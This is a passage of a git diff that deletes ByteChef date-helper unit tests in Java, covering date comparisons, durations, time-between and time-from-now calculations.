-        LocalDateTime dateA = LocalDateTime.of(2024, 8, 20, 9, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 5, 10, 17, 0, 0);
-
-        assertTrue(run(IS_BEFORE_OR_EQUAL, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsBeforeOrEqualAfterTime() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 22, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 12, 31, 11, 0, 0);
-
-        assertFalse(run(IS_BEFORE_OR_EQUAL, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsAfterOrEqualEqualTimes() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 3, 15, 16, 20, 45);
-        LocalDateTime dateB = LocalDateTime.of(2024, 9, 5, 16, 20, 45);
-
-        assertTrue(run(IS_AFTER_OR_EQUAL, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsAfterOrEqualAfterTime() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 11, 30, 23, 59, 59);
-        LocalDateTime dateB = LocalDateTime.of(2024, 2, 14, 12, 30, 0);
-
-        assertTrue(run(IS_AFTER_OR_EQUAL, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsAfterOrEqualBeforeTime() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 6, 1, 6, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 6, 1, 18, 0, 0);
-
-        assertFalse(run(IS_AFTER_OR_EQUAL, dateA, dateB));
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperDateIsInLastActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperDateIsInLastActionTest.java
deleted file mode 100644
index 07041fc3a97..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperDateIsInLastActionTest.java
+++ /dev/null
@@ -1,194 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DAY;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.HOUR;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.IN_LAST;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MINUTE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MONTH;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.SECOND;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.TIME_ZONE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.UNIT;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.YEAR;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
-import java.time.ZoneId;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperDateIsInLastActionTest {
-
-    private static final String UTC = "UTC";
-
-    private boolean run(LocalDateTime date, int inLast, String inLastUnit, String timeZone) {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(DATE, date, IN_LAST, inLast, UNIT, inLastUnit, TIME_ZONE, timeZone));
-
-        return DateHelperDateIsInLastAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testPerformDateInLastSecondsWithinRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusSeconds(30);
-
-        assertTrue(run(date, 60, SECOND, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastSecondsOutsideRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusSeconds(120);
-
-        assertFalse(run(date, 60, SECOND, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastMinutesWithinRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusMinutes(10);
-
-        assertTrue(run(date, 15, MINUTE, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastMinutesOutsideRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusMinutes(30);
-
-        assertFalse(run(date, 15, MINUTE, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastHoursWithinRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusHours(5);
-
-        assertTrue(run(date, 10, HOUR, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastHoursOutsideRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusHours(25);
-
-        assertFalse(run(date, 24, HOUR, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastDaysWithinRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusDays(3);
-
-        assertTrue(run(date, 7, DAY, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastDaysOutsideRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusDays(10);
-
-        assertFalse(run(date, 7, DAY, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastMonthsWithinRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusMonths(2);
-
-        assertTrue(run(date, 6, MONTH, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastMonthsOutsideRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusMonths(8);
-
-        assertFalse(run(date, 6, MONTH, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastYearsWithinRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusYears(1);
-
-        assertTrue(run(date, 3, YEAR, UTC));
-    }
-
-    @Test
-    void testPerformDateInLastYearsOutsideRange() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusYears(5);
-
-        assertFalse(run(date, 3, YEAR, UTC));
-    }
-
-    @Test
-    void testPerformDateExactlyAtThreshold() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .minusDays(2);
-
-        assertTrue(run(date, 2, DAY, UTC));
-    }
-
-    @Test
-    void testPerformDateIsNow() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC));
-
-        assertTrue(run(date, 1, DAY, UTC));
-    }
-
-    @Test
-    void testPerformFutureDate() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC))
-            .plusDays(1);
-
-        assertFalse(run(date, 7, DAY, UTC));
-    }
-
-    @Test
-    void testPerformZeroValue() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC));
-
-        assertTrue(run(date, 0, DAY, UTC));
-    }
-
-    @Test
-    void testPerformDifferentTimeZone() {
-        String pacificTimeZone = "America/Los_Angeles";
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(pacificTimeZone))
-            .minusHours(5);
-
-        assertTrue(run(date, 10, HOUR, pacificTimeZone));
-    }
-
-    @Test
-    void testPerformDateExactlyAtUpperBound() {
-        LocalDateTime date = LocalDateTime.now(ZoneId.of(UTC));
-
-        assertTrue(run(date, 1, MINUTE, UTC));
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperFormatDateActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperFormatDateActionTest.java
deleted file mode 100644
index ec19b7e6cf9..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperFormatDateActionTest.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_FORMAT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperFormatDateActionTest {
-
-    @Test
-    void testPerform() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(DATE, LocalDateTime.of(2025, 11, 27, 9, 45),
-                DATE_FORMAT, "MMMM dd yyyy"));
-
-        Object result = DateHelperFormatDateAction.perform(mockedParameters, null, null);
-
-        assertEquals("November 27 2025", result);
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetDaysBetweenActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetDaysBetweenActionTest.java
deleted file mode 100644
index ddc10d64e56..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetDaysBetweenActionTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperGetDaysBetweenActionTest {
-
-    private int run(LocalDateTime dateA, LocalDateTime dateB) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(DATE_A, dateA, DATE_B, dateB));
-
-        return DateHelperGetDaysBetweenAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testPerformExactlyOneDayApart() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 12, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 2, 12, 0, 0);
-
-        assertEquals(1, run(dateA, dateB));
-    }
-
-    @Test
-    void testPerformExactlySevenDaysApart() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 0, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 8, 0, 0, 0);
-
-        assertEquals(7, run(dateA, dateB));
-    }
-
-    @Test
-    void testPerformSameDates() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 6, 15, 10, 30, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 6, 15, 10, 30, 0);
-
-        assertEquals(0, run(dateA, dateB));
-    }
-
-    @Test
-    void testPerformNegativeResult() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 10, 12, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 5, 12, 0, 0);
-
-        assertEquals(-5, run(dateA, dateB));
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetDurationActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetDurationActionTest.java
deleted file mode 100644
index 0eacfa30c02..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetDurationActionTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DAY;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DURATION;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.HOUR;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MINUTE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.SECOND;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.UNIT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperGetDurationActionTest {
-
-    private String run(long duration, String unitType) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(DURATION, duration, UNIT, unitType));
-
-        return DateHelperGetDurationAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testGetDurationTwoHours() {
-        String result = run(7200, SECOND);
-
-        assertEquals("2 hours", result);
-    }
-
-    @Test
-    void testGetDurationOneHour() {
-        String result = run(3600, SECOND);
-
-        assertEquals("1 hour", result);
-    }
-
-    @Test
-    void testGetDurationMinutesFromSeconds() {
-        String result = run(180, SECOND);
-
-        assertEquals("3 minutes", result);
-    }
-
-    @Test
-    void testGetDurationOneMinute() {
-        String result = run(60, SECOND);
-
-        assertEquals("1 minute", result);
-    }
-
-    @Test
-    void testGetDurationLessThanMinute() {
-        String result = run(30, SECOND);
-
-        assertEquals("30 seconds", result);
-    }
-
-    @Test
-    void testGetDurationHoursFromMinutes() {
-        String result = run(150, MINUTE);
-
-        assertEquals("2 hours, 30 minutes", result);
-    }
-
-    @Test
-    void testGetDurationOneDayFromHours() {
-        String result = run(24, HOUR);
-
-        assertEquals("1 day", result);
-    }
-
-    @Test
-    void testGetDurationMultipleDaysFromHours() {
-        String result = run(49, HOUR);
-
-        assertEquals("2 days, 1 hour", result);
-    }
-
-    @Test
-    void testGetDurationWeeksFromDays() {
-        String result = run(14, DAY);
-
-        assertEquals("14 days", result);
-    }
-
-    @Test
-    void testGetDurationMonthsFromDaysApprox() {
-        String result = run(60, DAY);
-
-        assertEquals("2 months", result);
-    }
-
-    @Test
-    void testGetDurationYearsFromDaysApprox() {
-        String result = run(365, DAY);
-
-        assertEquals("1 year", result);
-    }
-
-    @Test
-    void testGetDurationZero() {
-        String result = run(0, SECOND);
-
-        assertEquals("0 seconds", result);
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetTimeBetweenActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetTimeBetweenActionTest.java
deleted file mode 100644
index f34a363cee8..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetTimeBetweenActionTest.java
+++ /dev/null
@@ -1,196 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DAY;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.HOUR;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MINUTE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MONTH;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.SECOND;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.YEAR;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperGetTimeBetweenActionTest {
-
-    private Map<String, Object> run(LocalDateTime dateA, LocalDateTime dateB) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(DATE_A, dateA, DATE_B, dateB));
-
-        return DateHelperGetTimeBetweenAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testBasicTimeDifference() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 10, 30, 15);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 3, 17, 0, 0);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(0, result.get(YEAR));
-        assertEquals(0, result.get(MONTH));
-        assertEquals(2, result.get(DAY));
-        assertEquals(6, result.get(HOUR));
-        assertEquals(29, result.get(MINUTE));
-        assertEquals(45, result.get(SECOND));
-    }
-
-    @Test
-    void testSameDayDifference() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 10, 30, 15);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 1, 17, 0, 0);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(0, result.get(YEAR));
-        assertEquals(0, result.get(MONTH));
-        assertEquals(0, result.get(DAY));
-        assertEquals(6, result.get(HOUR));
-        assertEquals(29, result.get(MINUTE));
-        assertEquals(45, result.get(SECOND));
-    }
-
-    @Test
-    void testMultipleMonthsDifference() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 15, 10, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 4, 20, 14, 30, 45);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(0, result.get(YEAR));
-        assertEquals(3, result.get(MONTH));
-        assertEquals(5, result.get(DAY));
-        assertEquals(4, result.get(HOUR));
-        assertEquals(30, result.get(MINUTE));
-        assertEquals(45, result.get(SECOND));
-    }
-
-    @Test
-    void testMultipleYearsDifference() {
-        LocalDateTime dateA = LocalDateTime.of(2022, 5, 10, 8, 15, 30);
-        LocalDateTime dateB = LocalDateTime.of(2024, 8, 15, 12, 45, 15);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(2, result.get(YEAR));
-        assertEquals(3, result.get(MONTH));
-        assertEquals(5, result.get(DAY));
-        assertEquals(4, result.get(HOUR));
-        assertEquals(29, result.get(MINUTE));
-        assertEquals(45, result.get(SECOND));
-    }
-
-    @Test
-    void testIdenticalDates() {
-        LocalDateTime date = LocalDateTime.of(2024, 1, 1, 12, 0, 0);
-
-        Map<String, Object> result = run(date, date);
-
-        assertEquals(0, result.get(YEAR));
-        assertEquals(0, result.get(MONTH));
-        assertEquals(0, result.get(DAY));
-        assertEquals(0, result.get(HOUR));
-        assertEquals(0, result.get(MINUTE));
-        assertEquals(0, result.get(SECOND));
-    }
-
-    @Test
-    void testNegativeDifference() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 5, 10, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 3, 8, 0, 0);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(0, result.get(YEAR));
-        assertEquals(0, result.get(MONTH));
-        assertEquals(-2, result.get(DAY));
-        assertTrue((int) result.get(HOUR) <= 0);
-    }
-
-    @Test
-    void testOneSecondDifference() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 12, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 1, 12, 0, 1);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(0, result.get(HOUR));
-        assertEquals(0, result.get(MINUTE));
-        assertEquals(1, result.get(SECOND));
-    }
-
-    @Test
-    void testLeapYear() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 2, 28, 0, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 3, 1, 0, 0, 0);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(0, result.get(MONTH));
-        assertEquals(2, result.get(DAY));
-    }
-
-    @Test
-    void testYearBoundary() {
-        LocalDateTime dateA = LocalDateTime.of(2023, 12, 30, 23, 59, 59);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 2, 0, 0, 1);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(0, result.get(YEAR));
-        assertEquals(0, result.get(MONTH));
-        assertEquals(3, result.get(DAY));
-        assertEquals(0, result.get(HOUR));
-        assertEquals(0, result.get(MINUTE));
-        assertEquals(2, result.get(SECOND));
-    }
-
-    @Test
-    void testExactly24Hours() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 12, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 2, 12, 0, 0);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(1, result.get(DAY));
-        assertEquals(0, result.get(HOUR));
-        assertEquals(0, result.get(MINUTE));
-        assertEquals(0, result.get(SECOND));
-    }
-
-    @Test
-    void testDifferentMonthLengths() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 31, 0, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 2, 29, 0, 0, 0);
-
-        Map<String, Object> result = run(dateA, dateB);
-
-        assertEquals(0, result.get(YEAR));
-        assertEquals(0, result.get(MONTH));
-        assertEquals(29, result.get(DAY));
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetTimeFromNowActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetTimeFromNowActionTest.java
deleted file mode 100644
index 5fce6be8422..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperGetTimeFromNowActionTest.java
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.mockito.Mockito.CALLS_REAL_METHODS;
-import static org.mockito.Mockito.mockStatic;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.MockedStatic;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperGetTimeFromNowActionTest {
-
-    private String run(LocalDateTime inputDate) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(DATE, inputDate));
-
-        return DateHelperGetTimeFromNowAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testPerformInTwoMonths() {
-        LocalDateTime mockedNow = LocalDateTime.of(2026, 1, 12, 15, 0, 0);
-        LocalDateTime futureDate = mockedNow.plusMonths(2);
-
-        try (MockedStatic<LocalDateTime> mockedLocalDateTime = mockStatic(LocalDateTime.class, CALLS_REAL_METHODS)) {
-            mockedLocalDateTime.when(LocalDateTime::now)
-                .thenReturn(mockedNow);
-
-            assertEquals("in 1 month, 29 days", run(futureDate));
-        }
-    }
-
-    @Test
-    void testPerformFourDaysAgo() {
-        LocalDateTime now = LocalDateTime.now()
-            .plusSeconds(1);
-        LocalDateTime pastDate = now.minusDays(4);
-
-        assertEquals("4 days ago", run(pastDate));
-    }
-
-    @Test
-    void testPerformOneMonthAgo() {
-        LocalDateTime mockedNow = LocalDateTime.of(2026, 1, 12, 15, 0, 0);
-        LocalDateTime pastDate = mockedNow.minusMonths(1);
-
-        try (MockedStatic<LocalDateTime> mockedLocalDateTime = mockStatic(LocalDateTime.class, CALLS_REAL_METHODS)) {
-            mockedLocalDateTime.when(LocalDateTime::now)
-                .thenReturn(mockedNow);
-
-            assertEquals("1 month, 1 day ago", run(pastDate));
-        }
-    }
-
-    @Test
-    void testPerformInOneYear() {
-        LocalDateTime now = LocalDateTime.now()
-            .plusSeconds(1);
-        LocalDateTime futureDate = now.plusYears(1);
-
-        assertEquals("in 1 year", run(futureDate));
-    }
-
-    @Test
-    void testPerformTwoYearsAgo() {
-        LocalDateTime now = LocalDateTime.now()
-            .plusSeconds(1);
-        LocalDateTime pastDate = now.minusYears(2);
-
-        assertEquals("2 years, 1 day ago", run(pastDate));
-    }
-
-    @Test
-    void testPerformInOneDay() {
-        LocalDateTime now = LocalDateTime.now()
-            .plusSeconds(1);
-        LocalDateTime futureDate = now.plusDays(1);
-
-        assertEquals("in 1 day", run(futureDate));
-    }
-
-    @Test
-    void testPerformInFewHours() {
-        LocalDateTime now = LocalDateTime.now()
-            .plusSeconds(1);
-        LocalDateTime futureDate = now.plusHours(5);
-
-        assertEquals("in 5 hours", run(futureDate));
-    }
-
-    @Test
-    void testPerformOneHourAgo() {
-        LocalDateTime now = LocalDateTime.now()
-            .plusSeconds(1);
-        LocalDateTime pastDate = now.minusHours(1)
-            .minusMinutes(30);
-
-        assertEquals("1 hour, 30 minutes ago", run(pastDate));
-    }
-
-    @Test
-    void testPerformInFewMinutes() {
-        LocalDateTime now = LocalDateTime.now()
-            .plusSeconds(1);
-        LocalDateTime futureDate = now.plusMinutes(30);
-
-        assertEquals("in 30 minutes", run(futureDate));
-    }
-
-    @Test
-    void testPerformFewMinutesAgo() {
-        LocalDateTime now = LocalDateTime.now()
-            .plusSeconds(1);
-        LocalDateTime pastDate = now.minusMinutes(15);
-
-        assertEquals("15 minutes ago", run(pastDate));
-    }
-
-    @Test
-    void testPerformJustNow() {
-        LocalDateTime now = LocalDateTime.now();
-        LocalDateTime pastDate = now.minusSeconds(30);
-
-        assertEquals("31 seconds ago", run(pastDate));
-    }
-
-    @Test
-    void testPerformInFewSeconds() {
-        LocalDateTime now = LocalDateTime.now();
-        LocalDateTime futureDate = now.plusSeconds(45);
-
-        assertEquals("in 44 seconds", run(futureDate));
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenDatesActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenDatesActionTest.java
deleted file mode 100644
index bac155994fc..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenDatesActionTest.java
+++ /dev/null
@@ -1,291 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DAY;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.HOUR;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.INCLUSIVE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MINUTE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MONTH;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.RESOLUTION;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.SECOND;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.YEAR;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
